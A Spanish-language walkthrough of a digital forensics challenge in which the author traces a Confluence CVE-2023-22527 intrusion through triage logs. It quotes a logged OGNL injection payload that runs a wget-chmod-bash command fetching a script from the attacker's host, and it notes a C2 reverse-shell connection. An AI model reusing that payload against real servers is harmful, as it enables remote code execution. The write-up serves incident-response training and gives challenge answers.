

Confluence CVE-2023-22527

Challenge

Scoreboard

Confluence CVE-2023-22527



Confluence CVE-2023-22 527

Confluence is used by many organizations. Our organization was recently targeted and we need your expertise to help us recover from this incident. Our defense tools raised an alert about a crypto miner tool in the Confluence related directory, which led sysadmins to believe that this incident was initiated from Confluence.

You are given a triage archive image, collected via UAC(unix-like artifact collector) tool.

File Location: `/root/Desktop/ChallengeFile/uac-ip-172-31-35-28-linux-20240125122358.zip`

Top 10 Scoreboard - Confluence CVE-2023-22527

Rank	User	Country	Completion date
1	 ramirez54		08:25 PM 02 Feb 2024

Investigación previa.....	3
¿Cuál es la ruta URI que es vulnerable al CVE?	3
¿Cuándo aprovechó el atacante esta vulnerabilidad por primera vez? (Formato de respuesta: AAAA-MM-DD HH:MM:SS)	4
¿Cuál es la dirección IP remota del atacante?	4
Analice los registros de Sysmon para Linux e identifique el primer comando ejecutado por el atacante.	5
¿A qué hora el atacante enumeró por primera vez los directorios del sistema comprometido? (Formato de respuesta: AAAA-MM-DD HH:MM:SS)	6
El atacante intentó ejecutar comandos remotos para obtener un shell más estable, pero aparentemente falló muchas veces. Al analizar las fuentes de registro de Confluence, ¿puede encontrar el comando que ejecutó alrededor del 25 de enero de 2024 a las 11:50:50 que generó un error?.....	7
Los agentes de usuario son una fuente útil de información y pueden utilizarse para análisis. ¿Qué agente de usuario estaba usando el atacante?	8
Parece que el atacante pudo descargar un script bash y luego ejecutarlo para obtener un shell estable. ¿Cuál es la ruta completa de este archivo? (Formato de respuesta: /ruta/archivo.extensión)	8
¿Cuál es el tamaño en bytes del archivo bash detectado anteriormente?	9
Al analizar las conexiones de red desde la salida de clasificación, ¿cuál es la dirección IP C2 y el puerto al que se conectó el atacante? (Formato de respuesta: IP:PUERTO)	9
¿Cuál es el hash SHA1 del script bash que se encuentra en la pregunta 8?.....	10
Los atacantes crean nuevas cuentas de usuarios privilegiados para acceder por puerta trasera. ¿Cuál es el nombre de usuario de la cuenta de puerta trasera creada por el atacante?	10
¿Cuándo se creó esta cuenta de puerta trasera? (Formato de respuesta: AAAA-MM-DD HH:MM:SS)	10
El atacante descargó una herramienta minera antes de ser detectado. ¿Cuál es la ruta completa de este archivo minero?	10

Investigación previa

Antes de comenzar con el desafío debemos tener información del CVE en cuestión.

<https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html>

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22527>

<https://github.com/Manh130902/CVE-2023-22527-POC>

<https://www.broadcom.com/support/security-center/protection-bulletin/cve-2023-22527-remote-code-execution-rce-vulnerability-in-atlassian-confluence-under-active-exploitation>

¿Cuál es la ruta URI que es vulnerable al CVE?

En el repositorio <https://github.com/Manh130902/CVE-2023-22527-POC> encontramos la respuesta.

Ya que tenemos la ruta URI haremos una búsqueda recursiva en todos los archivos del directorio y lo guardamos en un documento de texto para poder analizar las rutas donde

aparece de forma más fácil

Aquí podemos ver todas las coincidencias y encontramos el primer acceso según los registros “/opt/confluence/logs/conf_access_log”

¿Cuál es la dirección IP remota del atacante?

```
[root]/opt/confluence/logs/conf_access_log.2024-01-25.log:[25/Jan/2024:11:41:26
+0000] - http-nio-8090-exec-8 3.110.176.89 POST /template/au/text-inline.vm
HTTP/1.1 200 260ms 6909 - python-requests/2.28.2
```

Analice los registros de Sysmon para Linux e identifique el primer comando ejecutado por el atacante.

Debemos comenzar a navegar por los archivos dados

```
'[root]' bodyfile chkrootkit hash_executables live_response uac.log uac.log.stderr
```

Pero para facilitar esto cambiamos el nombre de '[root]' a root para navegar más fácil "mv '[root]' root".

Ahora vamos a la ruta donde se encuentran los logs cd root/var/log/

De forma predeterminada los logs de sysmon se guardan en la ruta "/var/log/syslog"

Y tenemos la fecha desde la cual debemos comenzar a buscar ingresada en una pregunta anterior 2024-01-25 11:41:26.

El formato de fecha en los logs de syslog es el siguiente: "Jan 25 11" así que buscamos grep "Jan 25 11" syslog y encontramos el comando

```
Jan 25 11:41:26 ip-172-31-35-28 sysmon: <Event><System><Provider Name="Linux-Sysmon"
Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated
SystemTime="2024-01-25T11:41:26.091850000Z"/><EventRecordID>39</EventRecordID><Correlation/><Execution
ProcessID="7924" ThreadID="7924"/><Channel>Linux-Sysmon/Operational</Channel><Computer>ip-172-31-35-28</Computer><Security
UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data
Name="UtcTime">2024-01-25 11:41:26.095</Data><Data
Name="ProcessGuid">{ab6a6c9b-48e6-65b2-5699-b3e0f3550000}</Data><Data
Name="ProcessId">7954</Data><Data Name="Image">/usr/bin/id</Data><Data
Name="FileVersion">-</Data><Data Name="Description">-</Data><Data
Name="Product">-</Data><Data Name="Company">-</Data><Data
Name="OriginalFileName">-</Data><Data Name="CommandLine">id</Data><Data
Name="CurrentDirectory">-</Data><Data Name="User">confluence</Data><Data
Name="LogonGuid">{ab6a6c9b-0000-0000-e603-000000000000}</Data><Data
Name="LogonId">998</Data><Data
Name="TerminalSessionId">4294967295</Data><Data Name="IntegrityLevel">no
level</Data><Data
Name="Hashes">SHA256=5273c013b6ba9455db7ec12c3a5df955aaea90dc969b3d3
641ce0964db734ba2</Data><Data Name="ParentProcessGuid">{00000000-0000-
0000-0000-000000000000}</Data><Data
Name="ParentProcessId">6750</Data><Data Name="ParentImage">-</Data><Data
```

Name="ParentCommandLine">-</Data><Data </Data></EventData></Event>	Name="ParentUser">-
---	---------------------

¿A qué hora el atacante enumeró por primera vez los directorios del sistema comprometido? (Formato de respuesta: AAAA-MM-DD HH:MM:SS)

Podemos seguir recorriendo los logs y encontraremos la respuesta o buscamos algunas formas comunes de realizar esta actividad

grep "ls|find" syslog

Recordamos el formato de fecha AAAA-MM-DD HH:MM:SS)

Jan 25 11:43:33 ip-172-31-35-28 sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2024-01-25T11:43:33.799020000Z"/><EventRecordID>49</EventRecordID><Correlation/><Execution ProcessID="7924" ThreadID="7924"/><Channel>Linux-Sysmon/Operational</Channel><Computer>ip-172-31-35-28</Computer><Security UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2024-01-25 11:43:33.802</Data><Data Name="ProcessGuid">{ab6a6c9b-4965-65b2-4681-025d2d560000}</Data><Data Name="ProcessId">7963</Data><Data Name="Image">/usr/bin/ls</Data><Data Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">ls -la</Data><Data Name="CurrentDirectory">/</Data><Data Name="User">confluence</Data><Data Name="LogonGuid">{ab6a6c9b-0000-0000-e603-000000000000}</Data><Data Name="LogonId">998</Data><Data Name="TerminalSessionId">4294967295</Data><Data Name="IntegrityLevel">no level</Data><Data Name="Hashes">SHA256=8696974df4fc39af88ee23e307139afc533064f976da82172de823c3ad66f444</Data><Data Name="ParentProcessGuid">{00000000-0000-0000-0000-000000000000}</Data><Data Name="ParentProcessId">6750</Data><Data Name="ParentImage">-</Data><Data Name="ParentCommandLine">-</Data><Data Name="ParentUser">-</Data></EventData></Event>

El atacante intentó ejecutar comandos remotos para obtener un shell más estable, pero aparentemente falló muchas veces. Al analizar las fuentes de registro de Confluence, ¿puede encontrar el comando que ejecutó alrededor del 25 de enero de 2024 a las 11:50:50 que generó un error?

Están siendo muy específicos de lo que debemos buscar en esta pregunta.

Vamos a la ruta donde se encuentran estos logs

```
cd root/var/confluence-home/
```

después de aquí podemos buscar de forma recursiva la fecha dada

```
grep -r "2024-01-25 11:50:50"
```

y encontramos de forma rápida lo buscado y encontramos una ruta para buscar futuros logs "logs/atlassian-confluence.log"

```
logs/atlassian-confluence.log:2024-01-25 11:50:50,559 WARN [http-nio-8090-exec-10] [views.jsp.ui.OgnlTool] findValue Could not evaluate this expression due to security constraints:
[@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'wget http://3.110.176.89/lin/6730789213.sh;chmod x 6730789213.sh; bash 6730789213.sh'}))]
```

Los agentes de usuario son una fuente útil de información y pueden utilizarse para análisis. ¿Qué agente de usuario estaba usando el atacante?

Se acuerdan de la primera pregunta la búsqueda de la URI que guardamos en el documento de texto, aquí encontraran la respuesta

```
[root]/opt/confluence/logs/conf_access_log.2024-01-25.log:[25/Jan/2024:11:41:26
+0000] - http-nio-8090-exec-8 3.110.176.89 POST /template/auui/text-inline.vm
HTTP/1.1 200 260ms 6909 - python-requests/2.28.2
[root]/opt/confluence/logs/conf_access_log.2024-01-25.log:[25/Jan/2024:11:43:33
+0000] - http-nio-8090-exec-8 3.110.176.89 POST /template/auui/text-inline.vm
HTTP/1.1 200 89ms 6908 - python-requests/2.28.2
[root]/opt/confluence/logs/conf_access_log.2024-01-25.log:[25/Jan/2024:11:45:16
+0000] - http-nio-8090-exec-5 3.110.176.89 POST /template/auui/text-inline.vm
HTTP/1.1 200 90ms 6910 - python-requests/2.28.2
[root]/opt/confluence/logs/conf_access_log.2024-01-25.log:[25/Jan/2024:11:47:24
+0000] - http-nio-8090-exec-5 3.110.176.89 POST /template/auui/text-inline.vm
HTTP/1.1 200 149ms 6911 - python-requests/2.28.2
[root]/opt/confluence/logs/conf_access_log.2024-01-25.log:[25/Jan/2024:11:50:50
+0000] - http-nio-8090-exec-10 3.110.176.89 POST /template/auui/text-inline.vm
HTTP/1.1 200 113ms 6912 - python-requests/2.28.2
```

Parece que el atacante pudo descargar un script bash y luego ejecutarlo para obtener un shell estable. ¿Cuál es la ruta completa de este archivo? (Formato de respuesta: /ruta/archivo. extensión)

Tenemos diversas formas de buscar esto una más óptima que otra.

La primera que puede ser la más básica es buscando por la extensión “.sh” y ver que aparece a simple vista esto nos dará una verificación rápida puede tener dificultades en caso de que se presenten muchos archivos, pero podríamos sacar algunos sospechosos:

Usaremos la información contenida en hash_executables/list_of_executable_files.txt

grep ".sh" list_of_executable_files.txt > Extensi-sh.txt y luego grep "tmp" Extensi-sh.txt y damos con el archivo /tmp/xxx.sh y su ruta.

¿Cuál es el tamaño en bytes del archivo bash detectado anteriormente?

Vamos a la ruta hash_executables y buscamos el hash del archivo encontrado el md5 es "56111a5622f6352451be366da12aa2b4" lo busco, pero no encontré coincidencias.

Luego intento hacerlo con el contenido de la carpeta root

"du -b /root/Desktop/ChallengeFile/uac-ip-172-31-35-28-linux-20240125122358/root/tmp/xxx.sh" Pero el valor es 46 así que por la pista sé que no este valor.

Lanzo una búsqueda recursiva grep -r "tmp/xxx.sh"

```
bodyfile/bodyfile.txt:0|/tmp/xxx.sh|68855|-rwxrwxrwx|998|998|46|1706184238|1706184158|1706184224|1706184158  
live_response/system/world_writable_files.txt:/tmp/xxx.sh  
live_response/process/lsaf -nPl.txt:hash 8221 998 255r RFG 282.1 46 68855 /tmp/xxx.sh
```

Luego vi la pista que me dice que analice "bodyfile/bodyfile.txt"

grep "tmp/xxx.sh" bodyfile/bodyfile.txt

```
grep "tmp/xxx.sh" bodyfile/bodyfile.txt  
0|/tmp/xxx.sh|68855|-  
rwxrwxrwx|998|998|46|1706184238|1706184158|1706184224|1706184158
```

Al analizar las conexiones de red desde la salida de clasificación, ¿cuál es la dirección IP C2 y el puerto al que se conectó el atacante? (Formato de respuesta: IP: PUERTO)

Vamos al directorio /live_response/network y vemos los siguientes archivos con información de las conexiones del equipo, comienzo a recorrer los archivos.

Me puse a buscar en los archivos y encontré la ip y puerto en el archivo ss_-anp.txt

```
tcp ESTAB 0 0 172.31.35.28:42918 3.110.175.89:1290 users:(("bash",pid=8225,fds=2),("bash",pid=8225,fds=1),("bash",pid=8225,fds=0),("su",pid=8224,fds=2),("su",pid=8224,fds=1),("su",pid=8224,fds=0),("sh",pid=8223,fds=2),("sh",pid=8223,fds=1),("sh",pid=8223,fds=0))
```

¿Cuál es el hash SHA1 del script bash que se encuentra en la pregunta 8?
Ya en una pregunta anterior vimos cómo encontrar el hash md5 ahora es el mismo proceso, pero sacamos el SHA1

```
grep -r "tmp/xxx.sh"
```

```
Extensi-sh.txt:/tmp/xxx.sh
```

```
list_of_executable_files.txt:/tmp/xxx.sh
```

```
hash_executables.md5:56111a5622f6352451be366da12aa2b4 /tmp/xxx.sh
```

```
hash_executables.sha1:9ac4d3459093aac9ee4bb3b87fdeaaaa3c5bd551 /tmp/xxx.sh
```

Los atacantes crean nuevas cuentas de usuarios privilegiados para acceder por puerta trasera. ¿Cuál es el nombre de usuario de la cuenta de puerta trasera creada por el atacante?

Buscamos el comando “useradd” en los logs de syslog y encontramos el usuario creado.

¿Cuándo se creó esta cuenta de puerta trasera? (Formato de respuesta: AAAA-MM-DD HH:MM:SS)

Con el log anterior encontramos esto.

El atacante descargó una herramienta minera antes de ser detectado. ¿Cuál es la ruta completa de este archivo minero?

Principio del formulario

En los logs de syslog busco las palabras claves “GitHub” y encuentro el archivo en cuestión.

Otras formas de buscar:

Buscar la ruta “/opt/confluence” para buscar archivos descargados

buscar “xmrig” como palabra clave.